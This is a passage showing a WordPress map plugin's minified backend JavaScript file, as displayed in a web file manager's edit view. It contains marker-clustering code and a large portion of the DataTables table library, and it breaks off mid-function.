File manager - Edit - /home/adiance/public_html/wp-content/plugins/wp-google-map-plugin/assets/js/minified/wpgmp_backend.min.js
Back
function ClusterIcon(t,e){t.getMarkerClusterer().extend(ClusterIcon,google.maps.OverlayView),this.cluster_=t,this.className_=t.getMarkerClusterer().getClusterClass(),this.styles_=e,this.center_=null,this.div_=null,this.sums_=null,this.visible_=!1,this.setMap(t.getMap())}function Cluster(t){this.markerClusterer_=t,this.map_=t.getMap(),this.gridSize_=t.getGridSize(),this.minClusterSize_=t.getMinimumClusterSize(),this.averageCenter_=t.getAverageCenter(),this.markers_=[],this.center_=null,this.bounds_=null,this.clusterIcon_=new ClusterIcon(this,t.getStyles())}function MarkerClusterer(t,e,n){this.extend(MarkerClusterer,google.maps.OverlayView),e=e||[],n=n||{},this.markers_=[],this.clusters_=[],this.listeners_=[],this.activeMap_=null,this.ready_=!1,this.gridSize_=n.gridSize||60,this.minClusterSize_=n.minimumClusterSize||2,this.maxZoom_=n.maxZoom||null,this.styles_=n.styles||[],this.title_=n.title||"",this.zoomOnClick_=!0,void 0!==n.zoomOnClick&&(this.zoomOnClick_=n.zoomOnClick),this.averageCenter_=!1,void 0!==n.averageCenter&&(this.averageCenter_=n.averageCenter),this.ignoreHidden_=!1,void 0!==n.ignoreHidden&&(this.ignoreHidden_=n.ignoreHidden),this.enableRetinaIcons_=!1,void 0!==n.enableRetinaIcons&&(this.enableRetinaIcons_=n.enableRetinaIcons),this.imagePath_=n.imagePath||MarkerClusterer.IMAGE_PATH,this.imageExtension_=n.imageExtension||MarkerClusterer.IMAGE_EXTENSION,this.imageSizes_=n.imageSizes||MarkerClusterer.IMAGE_SIZES,this.calculator_=n.calculator||MarkerClusterer.CALCULATOR,this.batchSize_=n.batchSize||MarkerClusterer.BATCH_SIZE,this.batchSizeIE_=n.batchSizeIE||MarkerClusterer.BATCH_SIZE_IE,this.clusterClass_=n.clusterClass||"cluster",-1!==navigator.userAgent.toLowerCase().indexOf("msie")&&(this.batchSize_=this.batchSizeIE_),this.setupStyles_(),this.addMarkers(e,!0),this.setMap(t)}function send_icon_to_map(t,e){jQuery("#remove_image"+e).show(),jQuery("#image_"+e).attr("src",t).show(),jQuery("#input_"+e).val(t),tb_remove()}function ClusterIcon(t,e){t.getMarkerClusterer().extend(ClusterIcon,google.maps.OverlayView),this.cluster_=t,this.className_=t.getMarkerClusterer().getClusterClass(),this.styles_=e,this.center_=null,this.div_=null,this.sums_=null,this.visible_=!1,this.setMap(t.getMap())}function Cluster(t){this.markerClusterer_=t,this.map_=t.getMap(),this.gridSize_=t.getGridSize(),this.minClusterSize_=t.getMinimumClusterSize(),this.averageCenter_=t.getAverageCenter(),this.markers_=[],this.center_=null,this.bounds_=null,this.clusterIcon_=new ClusterIcon(this,t.getStyles())}function MarkerClusterer(t,e,n){this.extend(MarkerClusterer,google.maps.OverlayView),e=e||[],n=n||{},this.markers_=[],this.clusters_=[],this.listeners_=[],this.activeMap_=null,this.ready_=!1,this.gridSize_=n.gridSize||60,this.minClusterSize_=n.minimumClusterSize||2,this.maxZoom_=n.maxZoom||null,this.styles_=n.styles||[],this.title_=n.title||"",this.zoomOnClick_=!0,void 0!==n.zoomOnClick&&(this.zoomOnClick_=n.zoomOnClick),this.averageCenter_=!1,void 0!==n.averageCenter&&(this.averageCenter_=n.averageCenter),this.ignoreHidden_=!1,void 0!==n.ignoreHidden&&(this.ignoreHidden_=n.ignoreHidden),this.enableRetinaIcons_=!1,void 0!==n.enableRetinaIcons&&(this.enableRetinaIcons_=n.enableRetinaIcons),this.imagePath_=n.imagePath||MarkerClusterer.IMAGE_PATH,this.imageExtension_=n.imageExtension||MarkerClusterer.IMAGE_EXTENSION,this.imageSizes_=n.imageSizes||MarkerClusterer.IMAGE_SIZES,this.calculator_=n.calculator||MarkerClusterer.CALCULATOR,this.batchSize_=n.batchSize||MarkerClusterer.BATCH_SIZE,this.batchSizeIE_=n.batchSizeIE||MarkerClusterer.BATCH_SIZE_IE,this.clusterClass_=n.clusterClass||"cluster",-1!==navigator.userAgent.toLowerCase().indexOf("msie")&&(this.batchSize_=this.batchSizeIE_),this.setupStyles_(),this.addMarkers(e,!0),this.setMap(t)}if(!function(n){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(t){return n(t,window,document)}):"object"==typeof exports?module.exports=function(t,e){return t=t||window,e=e||("undefined"!=typeof window?require("jquery"):require("jquery")(t)),n(e,t,t.document)}:n(jQuery,window,document)}(function(L,W,b,O){"use strict";function d(t){var e=parseInt(t,10);return!isNaN(e)&&isFinite(t)?e:null}function l(t,e,n){var i="string"==typeof t;return!!s(t)||(e&&i&&(t=G(t,e)),n&&i&&(t=t.replace(q,"")),!isNaN(parseFloat(t))&&isFinite(t))}function n(t,e,n){var i;return!!s(t)||(s(i=t)||"string"==typeof i)&&!!l(t.replace(U,""),e,n)||null}function v(t,e,n,i){var s=[],o=0,a=e.length;if(i!==O)for(;o<a;o++)t[e[o]][n]&&s.push(t[e[o]][n][i]);else for(;o<a;o++)s.push(t[e[o]][n]);return s}function u(t,e){var n,i=[];e===O?(e=0,n=t):(n=e,e=t);for(var s=e;s<n;s++)i.push(s);return i}function _(t){for(var e=[],n=0,i=t.length;n<i;n++)t[n]&&e.push(t[n]);return e}var f,e,t,C=function(y){this.$=function(t,e){return this.api(!0).$(t,e)},this._=function(t,e){return this.api(!0).rows(t,e).data()},this.api=function(t){return new z(t?ue(this[f.iApiIndex]):this)},this.fnAddData=function(t,e){var n=this.api(!0),t=(L.isArray(t)&&(L.isArray(t[0])||L.isPlainObject(t[0]))?n.rows:n.row).add(t);return e!==O&&!e||n.draw(),t.flatten().toArray()},this.fnAdjustColumnSizing=function(t){var e=this.api(!0).columns.adjust(),n=e.settings()[0],i=n.oScroll;t===O||t?e.draw(!1):""===i.sX&&""===i.sY||Zt(n)},this.fnClearTable=function(t){var e=this.api(!0).clear();t!==O&&!t||e.draw()},this.fnClose=function(t){this.api(!0).row(t).child.hide()},this.fnDeleteRow=function(t,e,n){var i=this.api(!0),t=i.rows(t),s=t.settings()[0],o=s.aoData[t[0][0]];return t.remove(),e&&e.call(this,s,o),n!==O&&!n||i.draw(),o},this.fnDestroy=function(t){this.api(!0).destroy(t)},this.fnDraw=function(t){this.api(!0).draw(t)},this.fnFilter=function(t,e,n,i,s,o){var a=this.api(!0);(null===e||e===O?a:a.column(e)).search(t,n,i,o),a.draw()},this.fnGetData=function(t,e){var n,i=this.api(!0);return t!==O?(n=t.nodeName?t.nodeName.toLowerCase():"",e!==O||"td"==n||"th"==n?i.cell(t,e).data():i.row(t).data()||null):i.data().toArray()},this.fnGetNodes=function(t){var e=this.api(!0);return t!==O?e.row(t).node():e.rows().nodes().flatten().toArray()},this.fnGetPosition=function(t){var e=this.api(!0),n=t.nodeName.toUpperCase();return"TR"==n?e.row(t).index():"TD"==n||"TH"==n?[(n=e.cell(t).index()).row,n.columnVisible,n.column]:null},this.fnIsOpen=function(t){return this.api(!0).row(t).child.isShown()},this.fnOpen=function(t,e,n){return this.api(!0).row(t).child(e,n).show().child()[0]},this.fnPageChange=function(t,e){t=this.api(!0).page(t);e!==O&&!e||t.draw(!1)},this.fnSetColumnVis=function(t,e,n){t=this.api(!0).column(t).visible(e);n!==O&&!n||t.columns.adjust().draw()},this.fnSettings=function(){return ue(this[f.iApiIndex])},this.fnSort=function(t){this.api(!0).order(t).draw()},this.fnSortListener=function(t,e,n){this.api(!0).order.listener(t,e,n)},this.fnUpdate=function(t,e,n,i,s){var o=this.api(!0);return(n===O||null===n?o.row(e):o.cell(e,n)).data(t),s!==O&&!s||o.columns.adjust(),i!==O&&!i||o.draw(),0},this.fnVersionCheck=f.fnVersionCheck;var t,S=this,_=y===O,w=this.length;for(t in _&&(y={}),this.oApi=this.internal=f.internal,C.ext.internal)t&&(this[t]=Oe(t));return this.each(function(){var i=1<w?de({},y,!0):y,s=0,t=this.getAttribute("id"),o=!1,e=C.defaults,a=L(this);if("table"!=this.nodeName.toLowerCase())$(null,0,"Non-table node initialisation ("+this.nodeName+")",2);else{Y(e),K(e.column),T(e,e,!0),T(e.column,e.column,!0),T(e,L.extend(i,a.data()));for(var n=C.settings,s=0,r=n.length;s<r;s++){var l=n[s];if(l.nTable==this||l.nTHead&&l.nTHead.parentNode==this||l.nTFoot&&l.nTFoot.parentNode==this){var c=(i.bRetrieve!==O?i:e).bRetrieve,h=(i.bDestroy!==O?i:e).bDestroy;if(_||c)return l.oInstance;if(h){l.oInstance.fnDestroy();break}return void $(l,0,"Cannot reinitialise DataTable",3)}if(l.sTableId==this.id){n.splice(s,1);break}}null!==t&&""!==t||(t="DataTables_Table_"+C.ext._unique++,this.id=t);var u,d,p=L.extend(!0,{},C.models.oSettings,{sDestroyWidth:a[0].style.width,sInstance:t,sTableId:t}),f=(p.nTable=this,p.oApi=S.internal,p.oInit=i,n.push(p),p.oInstance=1===S.length?S:a.dataTable(),Y(i),Z(i.oLanguage),i.aLengthMenu&&!i.iDisplayLength&&(i.iDisplayLength=(L.isArray(i.aLengthMenu[0])?i.aLengthMenu[0]:i.aLengthMenu)[0]),i=de(L.extend(!0,{},e),i),A(p.oFeatures,i,["bPaginate","bLengthChange","bFilter","bSort","bSortMulti","bInfo","bProcessing","bAutoWidth","bSortClasses","bServerSide","bDeferRender"]),A(p,i,["asStripeClasses","ajax","fnServerData","fnFormatNumber","sServerMethod","aaSorting","aaSortingFixed","aLengthMenu","sPaginationType","sAjaxSource","sAjaxDataProp","iStateDuration","sDom","bSortCellsTop","iTabIndex","fnStateLoadCallback","fnStateSaveCallback","renderer","searchDelay","rowId",["iCookieDuration","iStateDuration"],["oSearch","oPreviousSearch"],["aoSearchCols","aoPreSearchCols"],["iDisplayLength","_iDisplayLength"]]),A(p.oScroll,i,[["sScrollX","sX"],["sScrollXInner","sXInner"],["sScrollY","sY"],["bScrollCollapse","bCollapse"]]),A(p.oLanguage,i,"fnInfoCallback"),M(p,"aoDrawCallback",i.fnDrawCallback,"user"),M(p,"aoServerParams",i.fnServerParams,"user"),M(p,"aoStateSaveParams",i.fnStateSaveParams,"user"),M(p,"aoStateLoadParams",i.fnStateLoadParams,"user"),M(p,"aoStateLoaded",i.fnStateLoaded,"user"),M(p,"aoRowCallback",i.fnRowCallback,"user"),M(p,"aoRowCreatedCallback",i.fnCreatedRow,"user"),M(p,"aoHeaderCallback",i.fnHeaderCallback,"user"),M(p,"aoFooterCallback",i.fnFooterCallback,"user"),M(p,"aoInitComplete",i.fnInitComplete,"user"),M(p,"aoPreDrawCallback",i.fnPreDrawCallback,"user"),p.rowIdFn=D(i.rowId),Q(p),p.oClasses),g=(L.extend(f,C.ext.classes,i.oClasses),a.addClass(f.sTable),p.iInitDisplayStart===O&&(p.iInitDisplayStart=i.iDisplayStart,p._iDisplayStart=i.iDisplayStart),null!==i.iDeferLoading&&(p.bDeferLoading=!0,t=L.isArray(i.iDeferLoading),p._iRecordsDisplay=t?i.iDeferLoading[0]:i.iDeferLoading,p._iRecordsTotal=t?i.iDeferLoading[1]:i.iDeferLoading),p.oLanguage),t=(L.extend(!0,g,i.oLanguage),g.sUrl&&(L.ajax({dataType:"json",url:g.sUrl,success:function(t){Z(t),T(e.oLanguage,t),L.extend(!0,g,t),Wt(p)},error:function(){Wt(p)}}),o=!0),null===i.asStripeClasses&&(p.asStripeClasses=[f.sStripeOdd,f.sStripeEven]),p.asStripeClasses),m=a.children("tbody").find("tr").eq(0),v=(-1!==L.inArray(!0,L.map(t,function(t,e){return m.hasClass(t)}))&&(L("tbody tr",this).removeClass(t.join(" ")),p.asDestroyStripes=t.slice()),[]),t=this.getElementsByTagName("thead");if(0!==t.length&&(St(p.aoHeader,t[0]),v=_t(p)),null===i.aoColumns)for(u=[],s=0,r=v.length;s<r;s++)u.push(null);else u=i.aoColumns;for(s=0,r=u.length;s<r;s++)et(p,v?v[s]:null);ot(p,i.aoColumnDefs,u,function(t,e){nt(p,t,e)}),m.length&&(d=function(t,e){return null!==t.getAttribute("data-"+e)?e:null},L(m[0]).children("th, td").each(function(t,e){var n,i=p.aoColumns[t];i.mData===t&&(n=d(e,"sort")||d(e,"order"),e=d(e,"filter")||d(e,"search"),null===n&&null===e||(i.mData={_:t+".display",sort:null!==n?t+".@data-"+n:O,type:null!==n?t+".@data-"+n:O,filter:null!==e?t+".@data-"+e:O},nt(p,t)))}));var b=p.oFeatures,t=function(){if(i.aaSorting===O){var t=p.aaSorting;for(s=0,r=t.length;s<r;s++)t[s][1]=p.aoColumns[s].asSorting[0]}re(p),b.bSort&&M(p,"aoDrawCallback",function(){var t,n;p.bSorted&&(t=I(p),n={},L.each(t,function(t,e){n[e.src]=e.dir}),P(p,null,"order",[p,t,n]),se(p))}),M(p,"aoDrawCallback",function(){(p.bSorted||"ssp"===E(p)||b.bDeferRender)&&re(p)},"sc");var e=a.children("caption").each(function(){this._captionSide=L(this).css("caption-side")}),n=a.children("thead"),n=(0===n.length&&(n=L("<thead/>").appendTo(a)),p.nTHead=n[0],a.children("tbody")),n=(0===n.length&&(n=L("<tbody/>").appendTo(a)),p.nTBody=n[0],a.children("tfoot"));if(0===(n=0===n.length&&0<e.length&&(""!==p.oScroll.sX||""!==p.oScroll.sY)?L("<tfoot/>").appendTo(a):n).length||0===n.children().length?a.addClass(f.sNoFooter):0<n.length&&(p.nTFoot=n[0],St(p.aoFooter,p.nTFoot)),i.aaData)for(s=0;s<i.aaData.length;s++)k(p,i.aaData[s]);else!p.bDeferLoading&&"dom"!=E(p)||at(p,L(p.nTBody).children("tr"));p.aiDisplay=p.aiDisplayMaster.slice(),!(p.bInitialised=!0)===o&&Wt(p)};i.bStateSave?(b.bStateSave=!0,M(p,"aoDrawCallback",ce,"state_save"),he(p,0,t)):t()}}),S=null,this},i={},w=/[\r\n]/g,U=/<.*?>/g,B=/^\d{2,4}[\.\/\-]\d{1,2}[\.\/\-]\d{1,2}([T ]{1}\d{1,2}[:\.]\d{2}([\.:]\d{2})?)?$/,V=new RegExp("(\\"+["/",".","*","+","?","|","(",")","[","]","{","}","\\","$","^","-"].join("|\\")+")","g"),q=/[',$£€¥%\u2009\u202F\u20BD\u20a9\u20BArfkɃΞ]/gi,s=function(t){return!t||!0===t||"-"===t},G=function(t,e){return i[e]||(i[e]=new RegExp(Lt(e),"g")),"string"==typeof t&&"."!==e?t.replace(/\./g,"").replace(i[e],"."):t},R=function(t,e,n){var i=[],s=0,o=t.length;if(n!==O)for(;s<o;s++)t[s]&&t[s][e]&&i.push(t[s][e][n]);else for(;s<o;s++)t[s]&&i.push(t[s][e]);return i},X=function(t){if(!(t.length<2))for(var e=t.slice().sort(),n=e[0],i=1,s=e.length;i<s;i++){if(e[i]===n)return!1;n=e[i]}return!0},J=function(t){if(X(t))return t.slice();var e,n,i,s=[],o=t.length,a=0;t:for(n=0;n<o;n++){for(e=t[n],i=0;i<a;i++)if(s[i]===e)continue t;s.push(e),a++}return s};function a(n){var i,s,o={};L.each(n,function(t,e){(i=t.match(/^([^A-Z]+?)([A-Z])/))&&-1!=="a aa ai ao as b fn i m o s ".indexOf(i[1]+" ")&&(s=t.replace(i[0],i[2].toLowerCase()),o[s]=t,"o"===i[1])&&a(n[t])}),n._hungarianMap=o}function T(n,i,s){var o;n._hungarianMap||a(n),L.each(i,function(t,e){(o=n._hungarianMap[t])===O||!s&&i[o]!==O||("o"===o.charAt(0)?(i[o]||(i[o]={}),L.extend(!0,i[o],i[t]),T(n[o],i[o],s)):i[o]=i[t])})}function Z(t){var e,n=C.defaults.oLanguage,i=n.sDecimal;i&&Ee(i),t&&(e=t.sZeroRecords,!t.sEmptyTable&&e&&"No data available in table"===n.sEmptyTable&&A(t,t,"sZeroRecords","sEmptyTable"),!t.sLoadingRecords&&e&&"Loading..."===n.sLoadingRecords&&A(t,t,"sZeroRecords","sLoadingRecords"),t.sInfoThousands&&(t.sThousands=t.sInfoThousands),e=t.sDecimal)&&i!==e&&Ee(e)}C.util={throttle:function(i,t){var s,o,a=t!==O?t:200;return function(){var t=this,e=+new Date,n=arguments;s&&e<s+a?(clearTimeout(o),o=setTimeout(function(){s=O,i.apply(t,n)},a)):(s=e,i.apply(t,n))}},escapeRegex:function(t){return t.replace(V,"\\$1")}};var o=function(t,e,n){t[e]!==O&&(t[n]=t[e])};function Y(t){o(t,"ordering","bSort"),o(t,"orderMulti","bSortMulti"),o(t,"orderClasses","bSortClasses"),o(t,"orderCellsTop","bSortCellsTop"),o(t,"order","aaSorting"),o(t,"orderFixed","aaSortingFixed"),o(t,"paging","bPaginate"),o(t,"pagingType","sPaginationType"),o(t,"pageLength","iDisplayLength"),o(t,"searching","bFilter"),"boolean"==typeof t.sScrollX&&(t.sScrollX=t.sScrollX?"100%":""),"boolean"==typeof t.scrollX&&(t.scrollX=t.scrollX?"100%":"");var e=t.aoSearchCols;if(e)for(var n=0,i=e.length;n<i;n++)e[n]&&T(C.models.oSearch,e[n])}function K(t){o(t,"orderable","bSortable"),o(t,"orderData","aDataSort"),o(t,"orderSequence","asSorting"),o(t,"orderDataType","sortDataType");var e=t.aDataSort;"number"!=typeof e||L.isArray(e)||(t.aDataSort=[e])}function Q(t){var e,n,i,s;C.__browser||(C.__browser=e={},s=(i=(n=L("<div/>").css({position:"fixed",top:0,left:-1*L(W).scrollLeft(),height:1,width:1,overflow:"hidden"}).append(L("<div/>").css({position:"absolute",top:1,left:1,width:100,overflow:"scroll"}).append(L("<div/>").css({width:"100%",height:10}))).appendTo("body")).children()).children(),e.barWidth=i[0].offsetWidth-i[0].clientWidth,e.bScrollOversize=100===s[0].offsetWidth&&100!==i[0].clientWidth,e.bScrollbarLeft=1!==Math.round(s.offset().left),e.bBounding=!!n[0].getBoundingClientRect().width,n.remove()),L.extend(t.oBrowser,C.__browser),t.oScroll.iBarWidth=C.__browser.barWidth}function tt(t,e,n,i,s,o){var a,r=i,l=!1;for(n!==O&&(a=n,l=!0);r!==s;)t.hasOwnProperty(r)&&(a=l?e(a,t[r],r,t):t[r],l=!0,r+=o);return a}function et(t,e){var n=C.defaults.column,i=t.aoColumns.length,n=L.extend({},C.models.oColumn,n,{nTh:e||b.createElement("th"),sTitle:n.sTitle||(e?e.innerHTML:""),aDataSort:n.aDataSort||[i],mData:n.mData||i,idx:i}),n=(t.aoColumns.push(n),t.aoPreSearchCols);n[i]=L.extend({},C.models.oSearch,n[i]),nt(t,i,L(e).data())}function nt(t,e,n){function i(t){return"string"==typeof t&&-1!==t.indexOf("@")}var e=t.aoColumns[e],s=t.oClasses,o=L(e.nTh),a=(!e.sWidthOrig&&(e.sWidthOrig=o.attr("width")||null,c=(o.attr("style")||"").match(/width:\s*(\d+[pxem%]+)/))&&(e.sWidthOrig=c[1]),n!==O&&null!==n&&(K(n),T(C.defaults.column,n),n.mDataProp===O||n.mData||(n.mData=n.mDataProp),n.sType&&(e._sManualType=n.sType),n.className&&!n.sClass&&(n.sClass=n.className),n.sClass&&o.addClass(n.sClass),L.extend(e,n),A(e,n,"sWidth","sWidthOrig"),n.iDataSort!==O&&(e.aDataSort=[n.iDataSort]),A(e,n,"aDataSort")),e.mData),r=D(a),l=e.mRender?D(e.mRender):null,c=(e._bAttrSrc=L.isPlainObject(a)&&(i(a.sort)||i(a.type)||i(a.filter)),e._setter=null,e.fnGetData=function(t,e,n){var i=r(t,e,O,n);return l&&e?l(i,e,t,n):i},e.fnSetData=function(t,e,n){return m(a)(t,e,n)},"number"!=typeof a&&(t._rowReadObject=!0),t.oFeatures.bSort||(e.bSortable=!1,o.addClass(s.sSortableNone)),-1!==L.inArray("asc",e.asSorting)),n=-1!==L.inArray("desc",e.asSorting);e.bSortable&&(c||n)?c&&!n?(e.sSortingClass=s.sSortableAsc,e.sSortingClassJUI=s.sSortJUIAscAllowed):!c&&n?(e.sSortingClass=s.sSortableDesc,e.sSortingClassJUI=s.sSortJUIDescAllowed):(e.sSortingClass=s.sSortable,e.sSortingClassJUI=s.sSortJUI):(e.sSortingClass=s.sSortableNone,e.sSortingClassJUI="")}function F(t){if(!1!==t.oFeatures.bAutoWidth){var e=t.aoColumns;Kt(t);for(var n=0,i=e.length;n<i;n++)e[n].nTh.style.width=e[n].sWidth}var s=t.oScroll;""===s.sY&&""===s.sX||Zt(t),P(t,null,"column-sizing",[t])}function j(t,e){t=it(t,"bVisible");return"number"==typeof t[e]?t[e]:null}function h(t,e){t=it(t,"bVisible"),e=L.inArray(e,t);return-1!==e?e:null}function x(t){var n=0;return L.each(t.aoColumns,function(t,e){e.bVisible&&"none"!==L(e.nTh).css("display")&&n++}),n}function it(t,n){var i=[];return L.map(t.aoColumns,function(t,e){t[n]&&i.push(e)}),i}function st(t){for(var e,n,i,s,o,a,r,l=t.aoColumns,c=t.aoData,h=C.ext.type.detect,u=0,d=l.length;u<d;u++)if(r=[],!(o=l[u]).sType&&o._sManualType)o.sType=o._sManualType;else if(!o.sType){for(e=0,n=h.length;e<n;e++){for(i=0,s=c.length;i<s&&(r[i]===O&&(r[i]=y(t,i,u,"type")),(a=h[e](r[i],t))||e===h.length-1)&&"html"!==a;i++);if(a){o.sType=a;break}}o.sType||(o.sType="string")}}function ot(t,e,n,i){var s,o,a,r,l=t.aoColumns;if(e)for(s=e.length-1;0<=s;s--)for(var c,h=(c=e[s]).targets!==O?c.targets:c.aTargets,u=0,d=(h=L.isArray(h)?h:[h]).length;u<d;u++)if("number"==typeof h[u]&&0<=h[u]){for(;l.length<=h[u];)et(t);i(h[u],c)}else if("number"==typeof h[u]&&h[u]<0)i(l.length+h[u],c);else if("string"==typeof h[u])for(a=0,r=l.length;a<r;a++)"_all"!=h[u]&&!L(l[a].nTh).hasClass(h[u])||i(a,c);if(n)for(s=0,o=n.length;s<o;s++)i(s,n[s])}function k(t,e,n,i){for(var s=t.aoData.length,o=L.extend(!0,{},C.models.oRow,{src:n?"dom":"data",idx:s}),a=(o._aData=e,t.aoData.push(o),t.aoColumns),r=0,l=a.length;r<l;r++)a[r].sType=null;t.aiDisplayMaster.push(s);e=t.rowIdFn(e);return e!==O&&(t.aIds[e]=o),!n&&t.oFeatures.bDeferRender||gt(t,s,n,i),s}function at(n,t){var i;return(t=t instanceof L?t:L(t)).map(function(t,e){return i=ft(n,e),k(n,i.data,e,i.cells)})}function y(t,e,n,i){var s=t.iDraw,o=t.aoColumns[n],a=t.aoData[e]._aData,r=o.sDefaultContent,l=o.fnGetData(a,i,{settings:t,row:e,col:n});if(l===O)return t.iDrawError!=s&&null===r&&($(t,0,"Requested unknown parameter "+("function"==typeof o.mData?"{function}":"'"+o.mData+"'")+" for row "+e+", column "+n,4),t.iDrawError=s),r;if(l!==a&&null!==l||null===r||i===O){if("function"==typeof l)return l.call(a)}else l=r;return null===l&&"display"==i?"":l}function rt(t,e,n,i){var s=t.aoColumns[n],o=t.aoData[e]._aData;s.fnSetData(o,i,{settings:t,row:e,col:n})}var lt=/\[.*?\]$/,p=/\(\)$/;function ct(t){return L.map(t.match(/(\\.|[^\.])+/g)||[""],function(t){return t.replace(/\\\./g,".")})}function D(s){var o,d;return L.isPlainObject(s)?(o={},L.each(s,function(t,e){e&&(o[t]=D(e))}),function(t,e,n,i){var s=o[e]||o._;return s!==O?s(t,e,n,i):t}):null===s?function(t){return t}:"function"==typeof s?function(t,e,n,i){return s(t,e,n,i)}:"string"!=typeof s||-1===s.indexOf(".")&&-1===s.indexOf("[")&&-1===s.indexOf("(")?function(t,e){return t[s]}:(d=function(t,e,n){var i,s,o;if(""!==n)for(var a=ct(n),r=0,l=a.length;r<l;r++){if(u=a[r].match(lt),i=a[r].match(p),u){if(a[r]=a[r].replace(lt,""),""!==a[r]&&(t=t[a[r]]),s=[],a.splice(0,r+1),o=a.join("."),L.isArray(t))for(var c=0,h=t.length;c<h;c++)s.push(d(t[c],e,o));var u=u[0].substring(1,u[0].length-1);t=""===u?s:s.join(u);break}if(i)a[r]=a[r].replace(p,""),t=t[a[r]]();else{if(null===t||t[a[r]]===O)return O;t=t[a[r]]}}return t},function(t,e){return d(t,e,s)})}function m(i){var d;return L.isPlainObject(i)?m(i._):null===i?function(){}:"function"==typeof i?function(t,e,n){i(t,"set",e,n)}:"string"!=typeof i||-1===i.indexOf(".")&&-1===i.indexOf("[")&&-1===i.indexOf("(")?function(t,e){t[i]=e}:(d=function(t,e,n){for(var i,s,o,a,r=ct(n),n=r[r.length-1],l=0,c=r.length-1;l<c;l++){if(i=r[l].match(lt),s=r[l].match(p),i){if(r[l]=r[l].replace(lt,""),t[r[l]]=[],(i=r.slice()).splice(0,l+1),a=i.join("."),L.isArray(e))for(var h=0,u=e.length;h<u;h++)d(o={},e[h],a),t[r[l]].push(o);else t[r[l]]=e;return}s&&(r[l]=r[l].replace(p,""),t=t[r[l]](e)),null!==t[r[l]]&&t[r[l]]!==O||(t[r[l]]={}),t=t[r[l]]}n.match(p)?t[n.replace(p,"")](e):t[n.replace(lt,"")]=e},function(t,e){return d(t,e,i)})}function ht(t){return R(t.aoData,"_aData")}function ut(t){t.aoData.length=0,t.aiDisplayMaster.length=0,t.aiDisplay.length=0,t.aIds={}}function dt(t,e,n){for(var i=-1,s=0,o=t.length;s<o;s++)t[s]==e?i=s:t[s]>e&&t[s]--;-1!=i&&n===O&&t.splice(i,1)}function pt(n,i,t,e){function s(t,e){for(;t.childNodes.length;)t.removeChild(t.firstChild);t.innerHTML=y(n,i,e,"display")}var o,a,r=n.aoData[i];if("dom"!==t&&(t&&"auto"!==t||"dom"!==r.src)){var l=r.anCells;if(l)if(e!==O)s(l[e],e);else for(o=0,a=l.length;o<a;o++)s(l[o],o)}else r._aData=ft(n,r,e,e===O?O:r._aData).data;r._aSortData=null,r._aFilterData=null;var c=n.aoColumns;if(e!==O)c[e].sType=null;else{for(o=0,a=c.length;o<a;o++)c[o].sType=null;mt(n,r)}}function ft(t,e,n,i){function s(t,e){var n;"string"==typeof t&&-1!==(n=t.indexOf("@"))&&(n=t.substring(n+1),m(t)(i,e.getAttribute(n)))}function o(t){n!==O&&n!==u||(r=d[u],l=L.trim(t.innerHTML),r&&r._bAttrSrc?(m(r.mData._)(i,l),s(r.mData.sort,t),s(r.mData.type,t),s(r.mData.filter,t)):p?(r._setter||(r._setter=m(r.mData)),r._setter(i,l)):i[u]=l),u++}var a,r,l,c=[],h=e.firstChild,u=0,d=t.aoColumns,p=t._rowReadObject;i=i!==O?i:p?{}:[];if(h)for(;h;)"TD"!=(a=h.nodeName.toUpperCase())&&"TH"!=a||(o(h),c.push(h)),h=h.nextSibling;else for(var f=0,g=(c=e.anCells).length;f<g;f++)o(c[f]);var e=e.firstChild?e:e.nTr;return e&&(e=e.getAttribute("id"))&&m(t.rowId)(i,e),{data:i,cells:c}}function gt(t,e,n,i){var s,o,a,r,l,c=t.aoData[e],h=c._aData,u=[];if(null===c.nTr){for(s=n||b.createElement("tr"),c.nTr=s,c.anCells=u,s._DT_RowIndex=e,mt(t,c),r=0,l=t.aoColumns.length;r<l;r++)a=t.aoColumns[r],(o=n?i[r]:b.createElement(a.sCellType))._DT_CellIndex={row:e,column:r},u.push(o),n&&!a.mRender&&a.mData===r||L.isPlainObject(a.mData)&&a.mData._===r+".display"||(o.innerHTML=y(t,e,r,"display")),a.sClass&&(o.className+=" "+a.sClass),a.bVisible&&!n?s.appendChild(o):!a.bVisible&&n&&o.parentNode.removeChild(o),a.fnCreatedCell&&a.fnCreatedCell.call(t.oInstance,o,y(t,e,r),h,e,r);P(t,"aoRowCreatedCallback",null,[s,h,e,u])}c.nTr.setAttribute("role","row")}function mt(t,e){var n=e.nTr,i=e._aData;n&&((t=t.rowIdFn(i))&&(n.id=t),i.DT_RowClass&&(t=i.DT_RowClass.split(" "),e.__rowc=e.__rowc?J(e.__rowc.concat(t)):t,L(n).removeClass(e.__rowc.join(" ")).addClass(i.DT_RowClass)),i.DT_RowAttr&&L(n).attr(i.DT_RowAttr),i.DT_RowData)&&L(n).data(i.DT_RowData)}function vt(t){var e,n,i,s=t.nTHead,o=t.nTFoot,a=0===L("th, td",s).length,r=t.oClasses,l=t.aoColumns;for(a&&(n=L("<tr/>").appendTo(s)),h=0,u=l.length;h<u;h++)i=l[h],e=L(i.nTh).addClass(i.sClass),a&&e.appendTo(n),t.oFeatures.bSort&&(e.addClass(i.sSortingClass),!1!==i.bSortable)&&(e.attr("tabindex",t.iTabIndex).attr("aria-controls",t.sTableId),ae(t,i.nTh,h)),i.sTitle!=e[0].innerHTML&&e.html(i.sTitle),ge(t,"header")(t,e,i,r);if(a&&St(t.aoHeader,s),L(s).find(">tr").attr("role","row"),L(s).find(">tr>th, >tr>td").addClass(r.sHeaderTH),L(o).find(">tr>th, >tr>td").addClass(r.sFooterTH),null!==o)for(var c=t.aoFooter[0],h=0,u=c.length;h<u;h++)(i=l[h]).nTf=c[h].cell,i.sClass&&L(i.nTf).addClass(i.sClass)}function bt(t,e,n){var i,s,o,a,r,l,c,h,u,d=[],p=[],f=t.aoColumns.length;if(e){for(n===O&&(n=!1),i=0,s=e.length;i<s;i++){for(d[i]=e[i].slice(),d[i].nTr=e[i].nTr,o=f-1;0<=o;o--)t.aoColumns[o].bVisible||n||d[i].splice(o,1);p.push([])}for(i=0,s=d.length;i<s;i++){if(c=d[i].nTr)for(;l=c.firstChild;)c.removeChild(l);for(o=0,a=d[i].length;o<a;o++)if(u=h=1,p[i][o]===O){for(c.appendChild(d[i][o].cell),p[i][o]=1;d[i+h]!==O&&d[i][o].cell==d[i+h][o].cell;)p[i+h][o]=1,h++;for(;d[i][o+u]!==O&&d[i][o].cell==d[i][o+u].cell;){for(r=0;r<h;r++)p[i+r][o+u]=1;u++}L(d[i][o].cell).attr("rowspan",h).attr("colspan",u)}}}}function g(t){var 